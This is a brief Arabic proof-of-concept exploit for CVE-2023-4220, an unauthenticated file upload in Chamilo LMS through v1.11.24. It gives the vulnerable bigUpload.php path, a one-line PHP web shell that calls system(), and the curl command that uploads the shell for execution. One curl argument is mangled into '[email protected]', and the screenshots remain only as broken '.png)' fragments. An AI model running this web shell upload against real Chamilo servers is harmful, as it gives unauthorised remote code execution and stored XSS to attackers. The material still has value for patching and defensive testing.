
استغلال إثبات المفهوم لـ CVE-2023-4220: رفع ملف غير مصادق عليه في Chamilo LMS يتيح XSS مخزنة وتنفيذ التعليمات البرمجية عن بُعد عبر نشر قشرة ويب.
رفع الملفات غير المقيد في وظيفة رفع الملفات الكبيرة في /main/inc/lib/javascript/bigupload/inc/bigUpload.php في Chamilo LMS <= v1.11.24 يسمح للمهاجمين غير المصادق عليهم بتنفيذ هجمات البرمجة النصية عبر المواقع المخزنة والحصول على تنفيذ التعليمات البرمجية عن بُعد عبر رفع شل ويب.
تسمح وظيفة رفع الملفات الكبيرة عبر /main/inc/lib/javascript/bigupload/inc/bigUpload.php برفع ملفات عشوائية إلى الدليل /main/inc/lib/javascript/bigupload/files داخل جذر الويب.
إذا كان الدليل /main/inc/lib/javascript/bigupload/files موجودًا، يمكننا رفع ملف عشوائي كالتالي:
إنشاء ملف php ضار echo '<?php system("whoami"); ?>' > dollarboysushil.php
.png)
ثم يمكننا رفع هذا الملف عن طريق إصدار الأمر التالي
`$ curl -F '[email protected]' 'http://<website>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'`
.png)
يمكننا التحقق من رفع ملفنا عن طريق زيارة الدليل /main/inc/lib/javascript/bigupload/files
.png)
ويمكننا تنفيذه بالنقر على ملف php، والذي يعطي مخرجات أمر whoami
.png)